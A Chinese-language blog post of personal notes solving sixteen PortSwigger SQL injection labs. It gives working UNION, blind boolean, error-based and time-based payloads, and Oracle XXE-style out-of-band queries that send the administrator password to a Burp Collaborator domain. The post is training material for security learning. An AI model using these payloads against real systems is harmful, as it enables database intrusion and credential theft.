前言:
上傳下自己做的筆記,這些題做了好久好久了,一直沒冒泡,之前想上傳些東西結果博客園炸了就忘了,周五快下班了手頭工作暫時緩解了,傳點東西上來。
1.SQL injection UNION attack, determining the number of columns returned by the query。UNION攻擊,確定查詢返回的列數
抓包發送到Repeater,修改參數注入
?category=Pets' order by 3--
頁面返回正常
?category=Pets' order by 4--
Internal Server Error
所以為3列。
?category=Pets' union select null,null--
頁面錯誤
?category=Pets' union select null,null,null--
頁面返回正常,Solved
2.SQL injection UNION attack, finding a column containing text。UNION攻擊,查找包含文本的列
Make the database retrieve the string: 'YjuMnv',使數據庫檢索隨機字符串"YjuMnv"
進階着上個實驗,也是三列,抓包發送到Repeater,直接輸入語句即可,三個null位置輪流試
?category=Tech' union select null,'YjuMnv',null--
頁面返回正常,Solved
3.UNION attack, retrieving data from other tables。UNION攻擊,從其他表中檢索數據
?category=Gifts' union select null,null--
懶得抓包,直接Hackbar搞起,嘗試了下發現這個環境列數為兩列。
?category=Gifts' union select 'test1','test2'--
確認輸出列為頁面最下方兩列數據。
?category=Gifts' union select username,password from users--
administrator crtlnqexkg5pkyklkzdx
登錄,Solved。
4.SQL injection UNION attack, retrieving multiple values in a single column。UNION攻擊,在單個列中檢索多個值
嘗試使用Group_concat()
?category=Accessories' union select null,null--
Hackbar中發現列數仍然為兩列。

?category=Accessories' union select null,concat(username,password) from users--
group_concat報Internal Server Error,concat可以使用。

?category=Accessories' union select null,username||'~'||password from users--
按照提供的語句來一遍成功,必須帶||||和'',||'~'||、||''||或填寫任意字符都可以。
登錄administrator,Solved。
5.SQL injection attack, querying the database type and version on Oracle。在Oracle上查詢數據庫類型和版本
Oracle上有個dual表,查詢需要借助該表完成。
?category=Pets' union select null,null from dual--
嘗試發現列數為兩列。
?category=Pets' union select null,banner from v$version--
banner信息就是歡迎語,在banner信息中可以得到軟件開發商,軟件名稱、版本、服務類型等信息,查詢版本不同於MySQL@@version,Oracle中為v$version

6.SQL injection attack, querying the database type and version on MySQL and Microsoft。在MySQL和Microsoft上查詢數據庫類型和版本
' union select null,null--、' union select null,null,null--、' union select null,null,null,null--
一連串400報錯,--換成#還是400報錯...懷疑人生,必須抓包了。
抓包發送到Repeater添加+號代替空格變成了500報錯,有戲,--改成#成了
?category=fuck'+union+select+null,+null--

?category=fuck'+union+select+null,+null#
?category=fuck'+union+select+'test1',+'test2'#
探測輸出位,在頁面下方
?category=fuck'+union+select+@@version,+null#

想在Hackbar里完成操作發現無法顯示,可能需要添加sleep語句,如'union+select+@@version,+sleep(5)#
7.SQL injection attack, listing the database contents on non-Oracle databases。列出非Oracle數據庫上的數據庫內容
點擊pets,抓包
GET /filter?category=Pets' union select null-- HTTP/1.1

order by無法使用,只能一個個字符嘗試:
GET /filter?category=Pets'+union+select+null,null-- HTTP/1.1

得到為兩列,插入字符得到顯示位

查詢數據庫中的表:
GET /filter?category=Pets'+union+select+table_name,null+from+information_schema.tables-- HTTP/1.1

查詢列:試了好多表,后來查了下才發現數據在users_mklbnz里面
GET /filter?category=Pets'+union+select+column_name,null+from+information_schema.columns+where+table_name='users_mklbnz'-- HTTP/1.1

查詢賬戶和密碼:
GET /filter?category=Pets'+union+select+username_sfbnsz,+password_vlveec+from+users_mklbnz-- HTTP/1.1
administrator
zu8o7dywk4quhs627fmt
8.SQL injection attack, listing the database contents on Oracle。列出Oracle上的數據庫內容
?category=Gifts' union select null,null from dual--
嘗試得出列數為兩列。
?category=Gifts' union select 'test1','test2' from dual--
顯示位在頁面下方。

?category=Gifts' union select table_name,null from all_tables--
從all_tables查詢所有表。

?category=Gifts' union select column_name,null from all_tab_columns where table_name='USERS_FDRGWE'--
查找一個可能有用戶數據的表內列名

PASSWORD_BKFEVL USERNAME_VTQUYA
?category=Gifts' union select USERNAME_VTQUYA,PASSWORD_BKFEVL from USERS_FDRGWE--

administrator nj31t224hbktniopu551
登錄administrator,Solved。
9.Blind SQL injection with conditional responses。帶響應條件的SQL盲注
開始還以為像上面的注入點在category里,試了幾次發現不對勁,看着解決方案注入點不再是category而是在cookie里,Cookie: TrackingId=CxOfHpa0iV703vdm
TrackingId=CxOfHpa0iV703vdm'and 1=1
返回信息為正常數據無反應
TrackingId=CxOfHpa0iV703vdm'and '1'='1
返回信息出現welcome back!

'and '1'='2無welcome back,字符型
TrackingId=CxOfHpa0iV703vdm'and (select 'a' from users limit 1)='a;
出現welcome back說明存在users表。
TrackingId=CxOfHpa0iV703vdm'and (select 'a' from users where username='administrator')='a;
出現welcome back,說明存在administrator
'and (select 'a' from users where username='administrator' and length(password)>19)='a;
密碼長度,試到19出現welcome back,20沒有,則密碼19位
發送到Intruder:
Cookie: TrackingId=CxOfHpa0iV703vdm' and (select substring(password,1,1) from users where username='administrator')='§a§;
substring會將密碼中字符單個提取,並針對其特性值測試,通過遍歷每個位置和可能的值得到密碼。
Payload頁面選擇"simple list",payload option選擇a-z和0-9,通過Add from list添加。

到option頁面,grep匹配Grep-Match先clear所有語句,再添加語句“welcom back”,

得到第一個字符9

TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
偏移量1,1改為2,1,,繼續爆破,一直到20,1獲取完整密碼。
9ynoz9pekk7vvtf30clt,登錄成功Solved,太太太難了。
10.Blind SQL injection with conditional errors。帶有條件錯誤的盲SQL注入
'and 1=1;頁面500, ' and '1'='1; 頁面正常,但沒有出現welcome back,無回顯
' union select version from v$instance-- 返回正常,說明為Oracle數據庫
/使用case when來進行判斷,當WHEN后面的條件為真,則會執行THEN 后面的 1/0 報錯
' union select casee when (1=2) then to_char(1/0) else null end from dual--
1=2一定false,所以不執行后面的1/0報錯,頁面正常。
' union select case when (username='administrators') then to_char(1/0) else null end from users--
正常,說明users表內存在username=administrators
' union select case when (username='administrator' and length(password)=19) then to_char(1/0) else null end from users--
密碼位數19位,返回正常
' union select case when (username='administrator' and length(password)=20) then to_char(1/0) else null end from users--
500錯誤,密碼為20位。
' union select case when (username='administrator' and substr(password,1,1)='§a§') then to_char(1/0) else null end from users--
Intruder開始配置simple list、a-z、0-9。開始爆破,出現500說明猜解正確。
moae7ohdeqyy8tnbhsls
登錄,Solved。
解決思路內的方法:
'||(select'')||' 500錯誤,數據庫對不上 '||(select'' from dual)||' 頁面正常,為Oracle
查詢不存在的表:not-a-real-table
'||(select'' from not-a-real-table)||' 不存在的表一定報錯,說明語句在后台被執行了
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
驗證是否收到錯誤信息,when1=1,Ture必定正確,頁面爆出500錯誤,所以語句搜索成功返回500
'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
1=2false,頁面返回正常
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
500,說明user表內administrator用戶存在
'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
確認administrator密碼長度大於1位,一直試探到大於>20報錯,說明20位長。
'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Intruder爆破。a-z、0-9
11.Blind SQL injection with time delays。具有時間延遲的盲SQL注入
注入點也在Cookie中
不起作用:' union select sleep(5)--
不起作用:' union select pg_sleep(5)--;
不起作用:' union waitfor delay '0:0:10'--
不起作用:' union dbms_pipe.receive_message(('a'),10)--
使用解決方法內的: '||pg_sleep(10)--
也可以使用;的HTML編碼后的%3b '%3Bselect pg_sleep(5)--
Solved,發現原來這個數據庫是PostgreSQL,所以用pg_sleep()。
12.Blind SQL injection with time delays and information retrieval。具有時間延遲和信息檢索功能的盲SQL注入
同樣是postgresql,
'||pg_sleep(3)--
'%3Bselect pg_sleep(5)--
出現延遲,存在時間盲注。
'%3Bselect case when (1=1) then pg_sleep(3) else pg_sleep(0) end--
'%3Bselect case when (1=2) then pg_sleep(5) else pg_sleep(0) end--
驗證時間盲注漏洞,1=1延遲,1=2無延遲。
驗證是否存在users表:'%3Bselect case when (1=1) then pg_sleep(3) else pg_sleep(0) end from users--
驗證users表內是否有administrator用戶:'%3Bselect case when (username='administrator') then pg_sleep(5) else pg_sleep(0) end from users--
'%3Bselect case when (username='administrator' and length(password)>19) then pg_sleep(5) else pg_sleep(0) end from users--
驗證administrator用戶的密碼長度,長度20
'%3Bselect case when (username='administrator' and substring(password,1,1)='§a§') then pg_sleep(5) else pg_sleep(0) end from users--
Intruder爆破
0(1)b
太蛋疼了,設置下timeout結果一堆誤報

設置1,1到20,1

payload sets設置


線程設置為1,756次,慢慢等,甚至可以先吃把雞,點擊Columns選擇response received,倒敘排列,接近10000的是結果。

1 q
2 g
3 m
4 9
5 v
6 g
7 3
8 l
9 d
10 i
11 9
12 2
13 3
14 n
15 6
16 t
17 4
18 n
19 p
20 l
登錄administrator,Solved。吐了,再也不想手動時間盲注了。
13.Blind SQL injection with out-of-band interaction。帶外交互的SQL盲注,外部注入。
該數據庫包含另一個名為的表users,其列名為username和password。您需要利用盲目的SQL注入漏洞來找出administrator用戶密碼。
這個是類似XXE的外部注入,完整的攻擊需要一個外網vps配合完成
'+and+'1'='1
試探下,發現可
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
或
'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//
x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
或XXE注入,外部實體注入
'+UNION+SELECT+extractvalue(xmltype(
'<?xml+version="1.0"+encoding="UTF-8"?>
<!DOCTYPE+root+
[+<!ENTITY %+remote+SYSTEM+"
http://x.burpcollaborator.net/"> %remote;]>'),'/l'
)+FROM+dual--
或
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//
x.mtj1ta53b35yx04am7tckjb4ivomcb.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;
還可以讀取administrator的密碼:
'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.
guevu46xcx6syu54n1u6ldcyjppjd8.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--;
密碼會顯示到DNS服務器內,可以使用Burp的client
14.Blind SQL injection with out-of-band data exfiltration。帶外數據滲透的SQL盲注
https://portswigger.net/web-security/sql-injection/cheat-sheet
使用 Burp Collaborator client復制下DNS地址,Copy to clipboard,然后Client別關閉,等待結果。
orjcyfy1fa99b6ozdacttvmr4ia9yy.burpcollaborator.net
'+ UNION + SELECT + extractvalue(xmltype('<%3fxml + version%3d“ 1.0” + encoding%3d“ UTF-8”%3f> <!DOCTYPE + root + [+ <!ENTITY +%25 + remote + SYSTEM +“ http%3a //'||((SELECT + password + FROM + users + WHERE + username%3d'administrator')||' 。ioa8x3z6f0imbza4jpgjw3kdw42uqj.burpcollaborator.net /”> +%25remote%3b]>')) ,'/ l')+ FROM + dual--;
使用SYSTEM指令,命名為Remote以加載URL內容,聲明外部實體DTD
%remote調用觸發對URL的HTTP GET請求。
burpcollaborator Client上點擊Poll now立即刷新。



brqvwmehvr8bix6ru8p9登錄administrator,Solved。
15.SQL injection vulnerability in WHERE clause allowing retrieval of hidden data。WHERE子句中的SQL注入漏洞允許檢索隱藏數據
就是where語句注入,直接?category=Gifts' or 1=1--
16.SQL injection vulnerability allowing login bypass。萬能密碼
登錄administrator,密碼輸入' or '1'='1